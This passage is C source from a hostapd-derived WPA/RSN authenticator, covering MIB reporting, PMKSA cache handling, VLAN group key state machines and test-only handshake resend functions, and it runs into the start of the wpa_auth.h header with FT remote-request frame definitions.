"dot11RSNAConfigNumberOfPTKSAReplayCounters=0\n" "dot11RSNAConfigSATimeout=%u\n" "dot11RSNAAuthenticationSuiteSelected=" RSN_SUITE "\n" "dot11RSNAPairwiseCipherSelected=" RSN_SUITE "\n" "dot11RSNAGroupCipherSelected=" RSN_SUITE "\n" "dot11RSNAPMKIDUsed=%s\n" "dot11RSNAAuthenticationSuiteRequested=" RSN_SUITE "\n" "dot11RSNAPairwiseCipherRequested=" RSN_SUITE "\n" "dot11RSNAGroupCipherRequested=" RSN_SUITE "\n" "dot11RSNATKIPCounterMeasuresInvoked=%u\n" "dot11RSNA4WayHandshakeFailures=%u\n" "dot11RSNAConfigNumberOfGTKSAReplayCounters=0\n", RSN_VERSION, !!wpa_auth->conf.wpa_strict_rekey, wpa_auth->conf.wpa_group_update_count, wpa_auth->conf.wpa_pairwise_update_count, wpa_cipher_key_len(wpa_auth->conf.wpa_group) * 8, dot11RSNAConfigPMKLifetime, dot11RSNAConfigPMKReauthThreshold, dot11RSNAConfigSATimeout, RSN_SUITE_ARG(wpa_auth->dot11RSNAAuthenticationSuiteSelected), RSN_SUITE_ARG(wpa_auth->dot11RSNAPairwiseCipherSelected), RSN_SUITE_ARG(wpa_auth->dot11RSNAGroupCipherSelected), pmkid_txt, RSN_SUITE_ARG(wpa_auth->dot11RSNAAuthenticationSuiteRequested), RSN_SUITE_ARG(wpa_auth->dot11RSNAPairwiseCipherRequested), RSN_SUITE_ARG(wpa_auth->dot11RSNAGroupCipherRequested), wpa_auth->dot11RSNATKIPCounterMeasuresInvoked, wpa_auth->dot11RSNA4WayHandshakeFailures); if (os_snprintf_error(buflen - len, ret)) return len; len += ret; /* TODO: dot11RSNAConfigPairwiseCiphersTable */ /* TODO: dot11RSNAConfigAuthenticationSuitesTable */ /* Private MIB */ ret = os_snprintf(buf + len, buflen - len, "hostapdWPAGroupState=%d\n", wpa_auth->group->wpa_group_state); if (os_snprintf_error(buflen - len, ret)) return len; len += ret; return len; } int wpa_get_mib_sta(struct wpa_state_machine *sm, char *buf, size_t buflen) { int len = 0, ret; u32 pairwise = 0; if (sm == NULL) return 0; /* TODO: FF-FF-FF-FF-FF-FF entry for broadcast/multicast stats */ /* dot11RSNAStatsEntry */ pairwise = wpa_cipher_to_suite(sm->wpa == WPA_VERSION_WPA2 ? WPA_PROTO_RSN : WPA_PROTO_WPA, sm->pairwise); if (pairwise == 0) return 0; ret = os_snprintf( buf + len, buflen - len, /* TODO: dot11RSNAStatsIndex */ "dot11RSNAStatsSTAAddress=" MACSTR "\n" "dot11RSNAStatsVersion=1\n" "dot11RSNAStatsSelectedPairwiseCipher=" RSN_SUITE "\n" /* TODO: dot11RSNAStatsTKIPICVErrors */ "dot11RSNAStatsTKIPLocalMICFailures=%u\n" "dot11RSNAStatsTKIPRemoteMICFailures=%u\n" /* TODO: dot11RSNAStatsCCMPReplays */ /* TODO: dot11RSNAStatsCCMPDecryptErrors */ /* TODO: dot11RSNAStatsTKIPReplays */, MAC2STR(sm->addr), RSN_SUITE_ARG(pairwise), sm->dot11RSNAStatsTKIPLocalMICFailures, sm->dot11RSNAStatsTKIPRemoteMICFailures); if (os_snprintf_error(buflen - len, ret)) return len; len += ret; /* Private MIB */ ret = os_snprintf(buf + len, buflen - len, "hostapdWPAPTKState=%d\n" "hostapdWPAPTKGroupState=%d\n", sm->wpa_ptk_state, sm->wpa_ptk_group_state); if (os_snprintf_error(buflen - len, ret)) return len; len += ret; return len; } void wpa_auth_countermeasures_start(struct wpa_authenticator *wpa_auth) { if (wpa_auth) wpa_auth->dot11RSNATKIPCounterMeasuresInvoked++; } int wpa_auth_pairwise_set(struct wpa_state_machine *sm) { return sm && sm->pairwise_set; } int wpa_auth_get_pairwise(struct wpa_state_machine *sm) { return sm->pairwise; } int wpa_auth_sta_key_mgmt(struct wpa_state_machine *sm) { if (sm == NULL) return -1; return sm->wpa_key_mgmt; } int wpa_auth_sta_wpa_version(struct wpa_state_machine *sm) { if (sm == NULL) return 0; return sm->wpa; } int wpa_auth_sta_ft_tk_already_set(struct wpa_state_machine *sm) { if (!sm || !wpa_key_mgmt_ft(sm->wpa_key_mgmt)) return 0; return sm->tk_already_set; } int wpa_auth_sta_fils_tk_already_set(struct wpa_state_machine *sm) { if (!sm || !wpa_key_mgmt_fils(sm->wpa_key_mgmt)) return 0; return sm->tk_already_set; } int wpa_auth_sta_clear_pmksa(struct wpa_state_machine *sm, struct rsn_pmksa_cache_entry *entry) { if (sm == NULL || sm->pmksa != entry) return -1; sm->pmksa = NULL; return 0; } struct rsn_pmksa_cache_entry * wpa_auth_sta_get_pmksa(struct wpa_state_machine *sm) { return sm ? sm->pmksa : NULL; } void wpa_auth_sta_local_mic_failure_report(struct wpa_state_machine *sm) { if (sm) sm->dot11RSNAStatsTKIPLocalMICFailures++; } const u8 * wpa_auth_get_wpa_ie(struct wpa_authenticator *wpa_auth, size_t *len) { if (wpa_auth == NULL) return NULL; *len = wpa_auth->wpa_ie_len; return wpa_auth->wpa_ie; } int wpa_auth_pmksa_add(struct wpa_state_machine *sm, const u8 *pmk, unsigned int pmk_len, int session_timeout, struct eapol_state_machine *eapol) { if (sm == NULL || sm->wpa != WPA_VERSION_WPA2 || sm->wpa_auth->conf.disable_pmksa_caching) return -1; if (wpa_key_mgmt_sha384(sm->wpa_key_mgmt)) { if (pmk_len > PMK_LEN_SUITE_B_192) pmk_len = PMK_LEN_SUITE_B_192; } else if (pmk_len > PMK_LEN) { pmk_len = PMK_LEN; } if (pmksa_cache_auth_add(sm->wpa_auth->pmksa, pmk, pmk_len, NULL, sm->PTK.kck, sm->PTK.kck_len, sm->wpa_auth->addr, sm->addr, session_timeout, eapol, sm->wpa_key_mgmt)) return 0; return -1; } int wpa_auth_pmksa_add_preauth(struct wpa_authenticator *wpa_auth, const u8 *pmk, size_t len, const u8 *sta_addr, int session_timeout, struct eapol_state_machine *eapol) { if (wpa_auth == NULL) return -1; if (pmksa_cache_auth_add(wpa_auth->pmksa, pmk, len, NULL, NULL, 0, wpa_auth->addr, sta_addr, session_timeout, eapol, WPA_KEY_MGMT_IEEE8021X)) return 0; return -1; } int wpa_auth_pmksa_add_sae(struct wpa_authenticator *wpa_auth, const u8 *addr, const u8 *pmk, const u8 *pmkid) { if (wpa_auth->conf.disable_pmksa_caching) return -1; if (pmksa_cache_auth_add(wpa_auth->pmksa, pmk, PMK_LEN, pmkid, NULL, 0, wpa_auth->addr, addr, 0, NULL, WPA_KEY_MGMT_SAE)) return 0; return -1; } void wpa_auth_add_sae_pmkid(struct wpa_state_machine *sm, const u8 *pmkid) { os_memcpy(sm->pmkid, pmkid, PMKID_LEN); sm->pmkid_set = 1; } int wpa_auth_pmksa_add2(struct wpa_authenticator *wpa_auth, const u8 *addr, const u8 *pmk, size_t pmk_len, const u8 *pmkid, int session_timeout, int akmp) { if (wpa_auth->conf.disable_pmksa_caching) return -1; if (pmksa_cache_auth_add(wpa_auth->pmksa, pmk, pmk_len, pmkid, NULL, 0, wpa_auth->addr, addr, session_timeout, NULL, akmp)) return 0; return -1; } void wpa_auth_pmksa_remove(struct wpa_authenticator *wpa_auth, const u8 *sta_addr) { struct rsn_pmksa_cache_entry *pmksa; if (wpa_auth == NULL || wpa_auth->pmksa == NULL) return; pmksa = pmksa_cache_auth_get(wpa_auth->pmksa, sta_addr, NULL); if (pmksa) { wpa_printf(MSG_DEBUG, "WPA: Remove PMKSA cache entry for " MACSTR " based on request", MAC2STR(sta_addr)); pmksa_cache_free_entry(wpa_auth->pmksa, pmksa); } } int wpa_auth_pmksa_list(struct wpa_authenticator *wpa_auth, char *buf, size_t len) { if (!wpa_auth || !wpa_auth->pmksa) return 0; return pmksa_cache_auth_list(wpa_auth->pmksa, buf, len); } void wpa_auth_pmksa_flush(struct wpa_authenticator *wpa_auth) { if (wpa_auth && wpa_auth->pmksa) pmksa_cache_auth_flush(wpa_auth->pmksa); } #ifdef CONFIG_PMKSA_CACHE_EXTERNAL #ifdef CONFIG_MESH int wpa_auth_pmksa_list_mesh(struct wpa_authenticator *wpa_auth, const u8 *addr, char *buf, size_t len) { if (!wpa_auth || !wpa_auth->pmksa) return 0; return pmksa_cache_auth_list_mesh(wpa_auth->pmksa, addr, buf, len); } struct rsn_pmksa_cache_entry * wpa_auth_pmksa_create_entry(const u8 *aa, const u8 *spa, const u8 *pmk, const u8 *pmkid, int expiration) { struct rsn_pmksa_cache_entry *entry; struct os_reltime now; entry = pmksa_cache_auth_create_entry(pmk, PMK_LEN, pmkid, NULL, 0, aa, spa, 0, NULL, WPA_KEY_MGMT_SAE); if (!entry) return NULL; os_get_reltime(&now); entry->expiration = now.sec + expiration; return entry; } int wpa_auth_pmksa_add_entry(struct wpa_authenticator *wpa_auth, struct rsn_pmksa_cache_entry *entry) { int ret; if (!wpa_auth || !wpa_auth->pmksa) return -1; ret = pmksa_cache_auth_add_entry(wpa_auth->pmksa, entry); if (ret < 0) wpa_printf(MSG_DEBUG, "RSN: Failed to store external PMKSA cache for " MACSTR, MAC2STR(entry->spa)); return ret; } #endif /* CONFIG_MESH */ #endif /* CONFIG_PMKSA_CACHE_EXTERNAL */ struct rsn_pmksa_cache_entry * wpa_auth_pmksa_get(struct wpa_authenticator *wpa_auth, const u8 *sta_addr, const u8 *pmkid) { if (!wpa_auth || !wpa_auth->pmksa) return NULL; return pmksa_cache_auth_get(wpa_auth->pmksa, sta_addr, pmkid); } void wpa_auth_pmksa_set_to_sm(struct rsn_pmksa_cache_entry *pmksa, struct wpa_state_machine *sm, struct wpa_authenticator *wpa_auth, u8 *pmkid, u8 *pmk) { if (!sm) return; sm->pmksa = pmksa; os_memcpy(pmk, pmksa->pmk, PMK_LEN); os_memcpy(pmkid, pmksa->pmkid, PMKID_LEN); os_memcpy(wpa_auth->dot11RSNAPMKIDUsed, pmksa->pmkid, PMKID_LEN); } /* * Remove and free the group from wpa_authenticator. This is triggered by a * callback to make sure nobody is currently iterating the group list while it * gets modified. */ static void wpa_group_free(struct wpa_authenticator *wpa_auth, struct wpa_group *group) { struct wpa_group *prev = wpa_auth->group; wpa_printf(MSG_DEBUG, "WPA: Remove group state machine for VLAN-ID %d", group->vlan_id); while (prev) { if (prev->next == group) { /* This never frees the special first group as needed */ prev->next = group->next; os_free(group); break; } prev = prev->next; } } /* Increase the reference counter for group */ static void wpa_group_get(struct wpa_authenticator *wpa_auth, struct wpa_group *group) { /* Skip the special first group */ if (wpa_auth->group == group) return; group->references++; } /* Decrease the reference counter and maybe free the group */ static void wpa_group_put(struct wpa_authenticator *wpa_auth, struct wpa_group *group) { /* Skip the special first group */ if (wpa_auth->group == group) return; group->references--; if (group->references) return; wpa_group_free(wpa_auth, group); } /* * Add a group that has its references counter set to zero. Caller needs to * call wpa_group_get() on the return value to mark the entry in use. */ static struct wpa_group * wpa_auth_add_group(struct wpa_authenticator *wpa_auth, int vlan_id) { struct wpa_group *group; if (wpa_auth == NULL || wpa_auth->group == NULL) return NULL; wpa_printf(MSG_DEBUG, "WPA: Add group state machine for VLAN-ID %d", vlan_id); group = wpa_group_init(wpa_auth, vlan_id, 0); if (group == NULL) return NULL; group->next = wpa_auth->group->next; wpa_auth->group->next = group; return group; } /* * Enforce that the group state machine for the VLAN is running, increase * reference counter as interface is up. References might have been increased * even if a negative value is returned. * Returns: -1 on error (group missing, group already failed); otherwise, 0 */ int wpa_auth_ensure_group(struct wpa_authenticator *wpa_auth, int vlan_id) { struct wpa_group *group; if (wpa_auth == NULL) return 0; group = wpa_auth->group; while (group) { if (group->vlan_id == vlan_id) break; group = group->next; } if (group == NULL) { group = wpa_auth_add_group(wpa_auth, vlan_id); if (group == NULL) return -1; } wpa_printf(MSG_DEBUG, "WPA: Ensure group state machine running for VLAN ID %d", vlan_id); wpa_group_get(wpa_auth, group); group->num_setup_iface++; if (group->wpa_group_state == WPA_GROUP_FATAL_FAILURE) return -1; return 0; } /* * Decrease reference counter, expected to be zero afterwards. * returns: -1 on error (group not found, group in fail state) * -2 if wpa_group is still referenced * 0 else */ int wpa_auth_release_group(struct wpa_authenticator *wpa_auth, int vlan_id) { struct wpa_group *group; int ret = 0; if (wpa_auth == NULL) return 0; group = wpa_auth->group; while (group) { if (group->vlan_id == vlan_id) break; group = group->next; } if (group == NULL) return -1; wpa_printf(MSG_DEBUG, "WPA: Try stopping group state machine for VLAN ID %d", vlan_id); if (group->num_setup_iface <= 0) { wpa_printf(MSG_ERROR, "WPA: wpa_auth_release_group called more often than wpa_auth_ensure_group for VLAN ID %d, skipping.", vlan_id); return -1; } group->num_setup_iface--; if (group->wpa_group_state == WPA_GROUP_FATAL_FAILURE) ret = -1; if (group->references > 1) { wpa_printf(MSG_DEBUG, "WPA: Cannot stop group state machine for VLAN ID %d as references are still hold", vlan_id); ret = -2; } wpa_group_put(wpa_auth, group); return ret; } int wpa_auth_sta_set_vlan(struct wpa_state_machine *sm, int vlan_id) { struct wpa_group *group; if (sm == NULL || sm->wpa_auth == NULL) return 0; group = sm->wpa_auth->group; while (group) { if (group->vlan_id == vlan_id) break; group = group->next; } if (group == NULL) { group = wpa_auth_add_group(sm->wpa_auth, vlan_id); if (group == NULL) return -1; } if (sm->group == group) return 0; if (group->wpa_group_state == WPA_GROUP_FATAL_FAILURE) return -1; wpa_printf(MSG_DEBUG, "WPA: Moving STA " MACSTR " to use group state " "machine for VLAN ID %d", MAC2STR(sm->addr), vlan_id); wpa_group_get(sm->wpa_auth, group); wpa_group_put(sm->wpa_auth, sm->group); sm->group = group; return 0; } void wpa_auth_eapol_key_tx_status(struct wpa_authenticator *wpa_auth, struct wpa_state_machine *sm, int ack) { if (wpa_auth == NULL || sm == NULL) return; wpa_printf(MSG_DEBUG, "WPA: EAPOL-Key TX status for STA " MACSTR " ack=%d", MAC2STR(sm->addr), ack); if (sm->pending_1_of_4_timeout && ack) { /* * Some deployed supplicant implementations update their SNonce * for each EAPOL-Key 2/4 message even within the same 4-way * handshake and then fail to use the first SNonce when * deriving the PTK. This results in unsuccessful 4-way * handshake whenever the relatively short initial timeout is * reached and EAPOL-Key 1/4 is retransmitted. Try to work * around this by increasing the timeout now that we know that * the station has received the frame. */ int timeout_ms = eapol_key_timeout_subseq; wpa_printf(MSG_DEBUG, "WPA: Increase initial EAPOL-Key 1/4 " "timeout by %u ms because of acknowledged frame", timeout_ms); eloop_cancel_timeout(wpa_send_eapol_timeout, wpa_auth, sm); eloop_register_timeout(timeout_ms / 1000, (timeout_ms % 1000) * 1000, wpa_send_eapol_timeout, wpa_auth, sm); } #ifdef CONFIG_TESTING_OPTIONS if (sm->eapol_status_cb) { sm->eapol_status_cb(sm->eapol_status_cb_ctx1, sm->eapol_status_cb_ctx2); sm->eapol_status_cb = NULL; } #endif /* CONFIG_TESTING_OPTIONS */ } int wpa_auth_uses_sae(struct wpa_state_machine *sm) { if (sm == NULL) return 0; return wpa_key_mgmt_sae(sm->wpa_key_mgmt); } int wpa_auth_uses_ft_sae(struct wpa_state_machine *sm) { if (sm == NULL) return 0; return sm->wpa_key_mgmt == WPA_KEY_MGMT_FT_SAE; } #ifdef CONFIG_P2P int wpa_auth_get_ip_addr(struct wpa_state_machine *sm, u8 *addr) { if (sm == NULL || WPA_GET_BE32(sm->ip_addr) == 0) return -1; os_memcpy(addr, sm->ip_addr, 4); return 0; } #endif /* CONFIG_P2P */ int wpa_auth_radius_das_disconnect_pmksa(struct wpa_authenticator *wpa_auth, struct radius_das_attrs *attr) { return pmksa_cache_auth_radius_das_disconnect(wpa_auth->pmksa, attr); } void wpa_auth_reconfig_group_keys(struct wpa_authenticator *wpa_auth) { struct wpa_group *group; if (!wpa_auth) return; for (group = wpa_auth->group; group; group = group->next) wpa_group_config_group_keys(wpa_auth, group); } #ifdef CONFIG_FILS struct wpa_auth_fils_iter_data { struct wpa_authenticator *auth; const u8 *cache_id; struct rsn_pmksa_cache_entry *pmksa; const u8 *spa; const u8 *pmkid; }; static int wpa_auth_fils_iter(struct wpa_authenticator *a, void *ctx) { struct wpa_auth_fils_iter_data *data = ctx; if (a == data->auth || !a->conf.fils_cache_id_set || os_memcmp(a->conf.fils_cache_id, data->cache_id, FILS_CACHE_ID_LEN) != 0) return 0; data->pmksa = pmksa_cache_auth_get(a->pmksa, data->spa, data->pmkid); return data->pmksa != NULL; } struct rsn_pmksa_cache_entry * wpa_auth_pmksa_get_fils_cache_id(struct wpa_authenticator *wpa_auth, const u8 *sta_addr, const u8 *pmkid) { struct wpa_auth_fils_iter_data idata; if (!wpa_auth->conf.fils_cache_id_set) return NULL; idata.auth = wpa_auth; idata.cache_id = wpa_auth->conf.fils_cache_id; idata.pmksa = NULL; idata.spa = sta_addr; idata.pmkid = pmkid; wpa_auth_for_each_auth(wpa_auth, wpa_auth_fils_iter, &idata); return idata.pmksa; } #ifdef CONFIG_IEEE80211R_AP int wpa_auth_write_fte(struct wpa_authenticator *wpa_auth, int use_sha384, u8 *buf, size_t len) { struct wpa_auth_config *conf = &wpa_auth->conf; return wpa_write_ftie(conf, use_sha384, conf->r0_key_holder, conf->r0_key_holder_len, NULL, NULL, buf, len, NULL, 0); } #endif /* CONFIG_IEEE80211R_AP */ void wpa_auth_get_fils_aead_params(struct wpa_state_machine *sm, u8 *fils_anonce, u8 *fils_snonce, u8 *fils_kek, size_t *fils_kek_len) { os_memcpy(fils_anonce, sm->ANonce, WPA_NONCE_LEN); os_memcpy(fils_snonce, sm->SNonce, WPA_NONCE_LEN); os_memcpy(fils_kek, sm->PTK.kek, WPA_KEK_MAX_LEN); *fils_kek_len = sm->PTK.kek_len; } #endif /* CONFIG_FILS */ #ifdef CONFIG_TESTING_OPTIONS int wpa_auth_resend_m1(struct wpa_state_machine *sm, int change_anonce, void (*cb)(void *ctx1, void *ctx2), void *ctx1, void *ctx2) { const u8 *anonce = sm->ANonce; u8 anonce_buf[WPA_NONCE_LEN]; if (change_anonce) { if (random_get_bytes(anonce_buf, WPA_NONCE_LEN)) return -1; anonce = anonce_buf; } wpa_auth_logger(sm->wpa_auth, sm->addr, LOGGER_DEBUG, "sending 1/4 msg of 4-Way Handshake (TESTING)"); wpa_send_eapol(sm->wpa_auth, sm, WPA_KEY_INFO_ACK | WPA_KEY_INFO_KEY_TYPE, NULL, anonce, NULL, 0, 0, 0); return 0; } int wpa_auth_resend_m3(struct wpa_state_machine *sm, void (*cb)(void *ctx1, void *ctx2), void *ctx1, void *ctx2) { u8 rsc[WPA_KEY_RSC_LEN], *_rsc, *gtk, *kde, *pos; #ifdef CONFIG_IEEE80211W u8 *opos; #endif /* CONFIG_IEEE80211W */ size_t gtk_len, kde_len; struct wpa_group *gsm = sm->group; u8 *wpa_ie; int wpa_ie_len, secure, keyidx, encr = 0; /* Send EAPOL(1, 1, 1, Pair, P, RSC, ANonce, MIC(PTK), RSNIE, [MDIE], GTK[GN], IGTK, [FTIE], [TIE * 2]) */ /* Use 0 RSC */ os_memset(rsc, 0, WPA_KEY_RSC_LEN); /* If FT is used, wpa_auth->wpa_ie includes both RSNIE and MDIE */ wpa_ie = sm->wpa_auth->wpa_ie; wpa_ie_len = sm->wpa_auth->wpa_ie_len; if (sm->wpa == WPA_VERSION_WPA && (sm->wpa_auth->conf.wpa & WPA_PROTO_RSN) && wpa_ie_len > wpa_ie[1] + 2 && wpa_ie[0] == WLAN_EID_RSN) { /* WPA-only STA, remove RSN IE and possible MDIE */ wpa_ie = wpa_ie + wpa_ie[1] + 2; if (wpa_ie[0] == WLAN_EID_MOBILITY_DOMAIN) wpa_ie = wpa_ie + wpa_ie[1] + 2; wpa_ie_len = wpa_ie[1] + 2; } wpa_auth_logger(sm->wpa_auth, sm->addr, LOGGER_DEBUG, "sending 3/4 msg of 4-Way Handshake (TESTING)"); if (sm->wpa == WPA_VERSION_WPA2) { /* WPA2 send GTK in the 4-way handshake */ secure = 1; gtk = gsm->GTK[gsm->GN - 1]; gtk_len = gsm->GTK_len; keyidx = gsm->GN; _rsc = rsc; encr = 1; } else { /* WPA does not include GTK in msg 3/4 */ secure = 0; gtk = NULL; gtk_len = 0; keyidx = 0; _rsc = NULL; if (sm->rx_eapol_key_secure) { /* * It looks like Windows 7 supplicant tries to use * Secure bit in msg 2/4 after having reported Michael * MIC failure and it then rejects the 4-way handshake * if msg 3/4 does not set Secure bit. Work around this * by setting the Secure bit here even in the case of * WPA if the supplicant used it first. */ wpa_auth_logger(sm->wpa_auth, sm->addr, LOGGER_DEBUG, "STA used Secure bit in WPA msg 2/4 - " "set Secure for 3/4 as workaround"); secure = 1; } } kde_len = wpa_ie_len + ieee80211w_kde_len(sm); if (gtk) kde_len += 2 + RSN_SELECTOR_LEN + 2 + gtk_len; #ifdef CONFIG_IEEE80211R_AP if (wpa_key_mgmt_ft(sm->wpa_key_mgmt)) { kde_len += 2 + PMKID_LEN; /* PMKR1Name into RSN IE */ kde_len += 300; /* FTIE + 2 * TIE */ } #endif /* CONFIG_IEEE80211R_AP */ kde = os_malloc(kde_len); if (kde == NULL) return -1; pos = kde; os_memcpy(pos, wpa_ie, wpa_ie_len); pos += wpa_ie_len; #ifdef CONFIG_IEEE80211R_AP if (wpa_key_mgmt_ft(sm->wpa_key_mgmt)) { int res; size_t elen; elen = pos - kde; res = wpa_insert_pmkid(kde, &elen, sm->pmk_r1_name); if (res < 0) { wpa_printf(MSG_ERROR, "FT: Failed to insert " "PMKR1Name into RSN IE in EAPOL-Key data"); os_free(kde); return -1; } pos -= wpa_ie_len; pos += elen; } #endif /* CONFIG_IEEE80211R_AP */ if (gtk) { u8 hdr[2]; hdr[0] = keyidx & 0x03; hdr[1] = 0; pos = wpa_add_kde(pos, RSN_KEY_DATA_GROUPKEY, hdr, 2, gtk, gtk_len); } #ifdef CONFIG_IEEE80211W opos = pos; pos = ieee80211w_kde_add(sm, pos); if (pos - opos >= 2 + RSN_SELECTOR_LEN + WPA_IGTK_KDE_PREFIX_LEN) { /* skip KDE header and keyid */ opos += 2 + RSN_SELECTOR_LEN + 2; os_memset(opos, 0, 6); /* clear PN */ } #endif /* CONFIG_IEEE80211W */ #ifdef CONFIG_IEEE80211R_AP if (wpa_key_mgmt_ft(sm->wpa_key_mgmt)) { int res; struct wpa_auth_config *conf; conf = &sm->wpa_auth->conf; if (sm->assoc_resp_ftie && kde + kde_len - pos >= 2 + sm->assoc_resp_ftie[1]) { os_memcpy(pos, sm->assoc_resp_ftie, 2 + sm->assoc_resp_ftie[1]); res = 2 + sm->assoc_resp_ftie[1]; } else { int use_sha384 = wpa_key_mgmt_sha384(sm->wpa_key_mgmt); res = wpa_write_ftie(conf, use_sha384, conf->r0_key_holder, conf->r0_key_holder_len, NULL, NULL, pos, kde + kde_len - pos, NULL, 0); } if (res < 0) { wpa_printf(MSG_ERROR, "FT: Failed to insert FTIE " "into EAPOL-Key Key Data"); os_free(kde); return -1; } pos += res; /* TIE[ReassociationDeadline] (TU) */ *pos++ = WLAN_EID_TIMEOUT_INTERVAL; *pos++ = 5; *pos++ = WLAN_TIMEOUT_REASSOC_DEADLINE; WPA_PUT_LE32(pos, conf->reassociation_deadline); pos += 4; /* TIE[KeyLifetime] (seconds) */ *pos++ = WLAN_EID_TIMEOUT_INTERVAL; *pos++ = 5; *pos++ = WLAN_TIMEOUT_KEY_LIFETIME; WPA_PUT_LE32(pos, conf->r0_key_lifetime); pos += 4; } #endif /* CONFIG_IEEE80211R_AP */ wpa_send_eapol(sm->wpa_auth, sm, (secure ? WPA_KEY_INFO_SECURE : 0) | (wpa_mic_len(sm->wpa_key_mgmt, sm->pmk_len) ? WPA_KEY_INFO_MIC : 0) | WPA_KEY_INFO_ACK | WPA_KEY_INFO_INSTALL | WPA_KEY_INFO_KEY_TYPE, _rsc, sm->ANonce, kde, pos - kde, keyidx, encr); os_free(kde); return 0; } int wpa_auth_resend_group_m1(struct wpa_state_machine *sm, void (*cb)(void *ctx1, void *ctx2), void *ctx1, void *ctx2) { u8 rsc[WPA_KEY_RSC_LEN]; struct wpa_group *gsm = sm->group; const u8 *kde; u8 *kde_buf = NULL, *pos, hdr[2]; #ifdef CONFIG_IEEE80211W u8 *opos; #endif /* CONFIG_IEEE80211W */ size_t kde_len; u8 *gtk; /* Send EAPOL(1, 1, 1, !Pair, G, RSC, GNonce, MIC(PTK), GTK[GN]) */ os_memset(rsc, 0, WPA_KEY_RSC_LEN); /* Use 0 RSC */ wpa_auth_logger(sm->wpa_auth, sm->addr, LOGGER_DEBUG, "sending 1/2 msg of Group Key Handshake (TESTING)"); gtk = gsm->GTK[gsm->GN - 1]; if (sm->wpa == WPA_VERSION_WPA2) { kde_len = 2 + RSN_SELECTOR_LEN + 2 + gsm->GTK_len + ieee80211w_kde_len(sm); kde_buf = os_malloc(kde_len); if (kde_buf == NULL) return -1; kde = pos = kde_buf; hdr[0] = gsm->GN & 0x03; hdr[1] = 0; pos = wpa_add_kde(pos, RSN_KEY_DATA_GROUPKEY, hdr, 2, gtk, gsm->GTK_len); #ifdef CONFIG_IEEE80211W opos = pos; pos = ieee80211w_kde_add(sm, pos); if (pos - opos >= 2 + RSN_SELECTOR_LEN + WPA_IGTK_KDE_PREFIX_LEN) { /* skip KDE header and keyid */ opos += 2 + RSN_SELECTOR_LEN + 2; os_memset(opos, 0, 6); /* clear PN */ } #endif /* CONFIG_IEEE80211W */ kde_len = pos - kde; } else { kde = gtk; kde_len = gsm->GTK_len; } sm->eapol_status_cb = cb; sm->eapol_status_cb_ctx1 = ctx1; sm->eapol_status_cb_ctx2 = ctx2; wpa_send_eapol(sm->wpa_auth, sm, WPA_KEY_INFO_SECURE | (wpa_mic_len(sm->wpa_key_mgmt, sm->pmk_len) ? WPA_KEY_INFO_MIC : 0) | WPA_KEY_INFO_ACK | (!sm->Pair ? WPA_KEY_INFO_INSTALL : 0), rsc, NULL, kde, kde_len, gsm->GN, 1); os_free(kde_buf); return 0; } int wpa_auth_rekey_gtk(struct wpa_authenticator *wpa_auth) { if (!wpa_auth) return -1; eloop_cancel_timeout(wpa_rekey_gtk, wpa_auth, NULL); return eloop_register_timeout(0, 0, wpa_rekey_gtk, wpa_auth, NULL); } #endif /* CONFIG_TESTING_OPTIONS */ wpa_sycophant-master/src/ap/wpa_auth.h000066400000000000000000000413421377436615100204170ustar00rootroot00000000000000/* * hostapd - IEEE 802.11i-2004 / WPA Authenticator * Copyright (c) 2004-2017, Jouni Malinen * * This software may be distributed under the terms of the BSD license. * See README for more details. */ #ifndef WPA_AUTH_H #define WPA_AUTH_H #include "common/defs.h" #include "common/eapol_common.h" #include "common/wpa_common.h" #include "common/ieee802_11_defs.h" struct vlan_description; #define MAX_OWN_IE_OVERRIDE 256 #ifdef _MSC_VER #pragma pack(push, 1) #endif /* _MSC_VER */ /* IEEE Std 802.11r-2008, 11A.10.3 - Remote request/response frame definition */ struct ft_rrb_frame { u8 frame_type; /* RSN_REMOTE_FRAME_TYPE_FT_RRB */ u8 packet_type; /* FT_PACKET_REQUEST/FT_PACKET_RESPONSE */ le16 action_length; /* little endian length of action_frame */ u8 ap_address[ETH_ALEN]; /* * Followed by action_length bytes of FT Action frame (from Category * field to the end of Action Frame body. */ } STRUCT_PACKED; #define RSN_REMOTE_FRAME_TYPE_FT_RRB 1 #define FT_PACKET_REQUEST 0 #define FT_PACKET_RESPONSE 1 /* Vendor-specific types for R0KH-R1KH protocol; not defined in 802.11r. These * use OUI Extended EtherType as the encapsulating format. */ #define FT_PACKET_R0KH_R1KH_PULL 0x01 #define FT_PACKET_R0KH_R1KH_RESP 0x02 #define FT_PACKET_R0KH_R1KH_PUSH 0x03 #define FT_PACKET_R0KH_R1KH_SEQ_REQ 0x04 #define FT_PACKET_R0KH_R1KH_SEQ_RESP 0x05 /* packet layout * IEEE 802 extended OUI ethertype frame header * u16 authlen (little endian) * multiple of struct ft_rrb_tlv (authenticated only, length = authlen) * multiple of struct ft_rrb_tlv (AES-SIV encrypted, AES-SIV needs an extra * blocksize length) * * AES-SIV AAD; * source MAC address (6) * authenticated-only TLVs (authlen) * subtype (1; FT_PACKET_*) */ #define FT_RRB_NONCE_LEN 16 #define FT_RRB_LAST_EMPTY 0 /* placeholder or padding */ #define FT_RRB_SEQ 1 /* struct ft_rrb_seq */ #define FT_RRB_NONCE 2 /* size FT_RRB_NONCE_LEN */ #define FT_RRB_TIMESTAMP 3 /* le32 unix seconds */ #define FT_RRB_R0KH_ID 4 /* FT_R0KH_ID_MAX_LEN */ #define FT_RRB_R1KH_ID 5 /* FT_R1KH_ID_LEN */ #define FT_RRB_S1KH_ID 6 /* ETH_ALEN */ #define FT_RRB_PMK_R0_NAME 7 /* WPA_PMK_NAME_LEN */ #define FT_RRB_PMK_R0 8 /* PMK_LEN */ #define FT_RRB_PMK_R1_NAME 9 /* WPA_PMK_NAME_LEN */ #define FT_RRB_PMK_R1 10 /* PMK_LEN */ #define FT_RRB_PAIRWISE 11 /* le16 */ #define FT_RRB_EXPIRES_IN 12 /* le16 seconds */ #define FT_RRB_VLAN_UNTAGGED 13 /* le16 */ #define FT_RRB_VLAN_TAGGED 14 /* n times le16 */ #define FT_RRB_IDENTITY 15 #define FT_RRB_RADIUS_CUI 16 #define FT_RRB_SESSION_TIMEOUT 17 /* le32 seconds */ struct ft_rrb_tlv { le16 type; le16 len; /* followed by data of length len */ } STRUCT_PACKED; struct ft_rrb_seq { le32 dom; le32 seq; le32 ts; } STRUCT_PACKED; /* session TLVs: * required: PMK_R1, PMK_R1_NAME, PAIRWISE * optional: VLAN_UNTAGGED, VLAN_TAGGED, EXPIRES_IN, IDENTITY, RADIUS_CUI, * SESSION_TIMEOUT * * pull frame TLVs: * auth: * required: SEQ, NONCE, R0KH_ID, R1KH_ID * encrypted: * required: PMK_R0_NAME, 